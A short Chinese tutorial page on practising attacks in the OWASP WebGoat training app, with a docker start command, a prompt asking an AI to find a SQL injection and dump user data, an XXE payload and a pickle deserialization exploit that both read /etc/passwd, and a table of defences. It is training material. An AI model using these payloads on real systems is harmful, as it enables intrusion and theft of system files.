OWASP WebGoat 實戰

啟動 WebGoat

docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

練習漏洞(Vibe Prompt)

「WebGoat 的 SQL Injection 關卡:幫我找出注入點並取得所有使用者資料。」

XXE 攻擊

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<comment>
  <text>&xxe;</text>
</comment>

不安全反序列化

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))

payload = pickle.dumps(Exploit())

防護

| 漏洞 | 防護方式 | |------|---------| | XXE | 禁用外部實體解析 | | 不安全反序列化 | 使用安全的序列化格式 | | SSTI | 不將使用者輸入傳入模板引擎 | | SSRF | 限制伺服器請求的白名單 |

會員專屬免費教學

本章節為註冊會員專屬的免費開放內容!請先登入或註冊會員,即可立即解鎖閱讀。

立即登入 / 註冊